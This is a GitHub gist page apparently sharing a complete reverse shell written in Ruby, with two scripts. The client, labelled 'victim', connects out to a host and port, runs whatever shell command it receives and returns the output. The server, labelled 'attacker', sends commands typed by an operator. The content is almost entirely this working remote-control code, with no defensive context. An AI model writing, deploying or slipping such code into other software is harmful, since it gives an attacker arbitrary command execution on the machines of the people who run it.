Skip to content

Instantly share code, notes, and snippets.

@AlexAvlonitis
Created July 30, 2019 09:16
Show Gist options
  • Save AlexAvlonitis/150976d51a9ae0307be6fd89dad42009 to your computer and use it in GitHub Desktop.
Save AlexAvlonitis/150976d51a9ae0307be6fd89dad42009 to your computer and use it in GitHub Desktop.
Reverse shell in ruby
# https://github.com/AlexAvlonitis/
# Run: ruby client.rb, connects to server and awaits commands, aka victim
require 'socket'
require 'open3'
class Client
HOSTNAME = 'localhost'
PORT = 2000
def self.run
loop do
socket = TCPSocket.open(HOSTNAME, PORT)
command_received = socket.gets
Open3.popen2e(command_received) do |_stdin, stdout_err|
socket.print(stdout_err.read)
end
socket.close
end
end
end
Client.run
# https://github.com/AlexAvlonitis/
# Run: ruby server.rb, accepts incoming connections, aka attacker
require 'socket'
class SocketServer
PORT = 2000
def self.run
server = TCPServer.open(PORT)
loop do
client = server.accept
puts "client_connected: #{client.inspect}"
puts 'Enter_command:'
command = gets.chomp
client.puts(command) # send command to connected client
puts "\nClient Output:"
puts "#{client.read}\n"
client.close
end
end
end
SocketServer.run
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment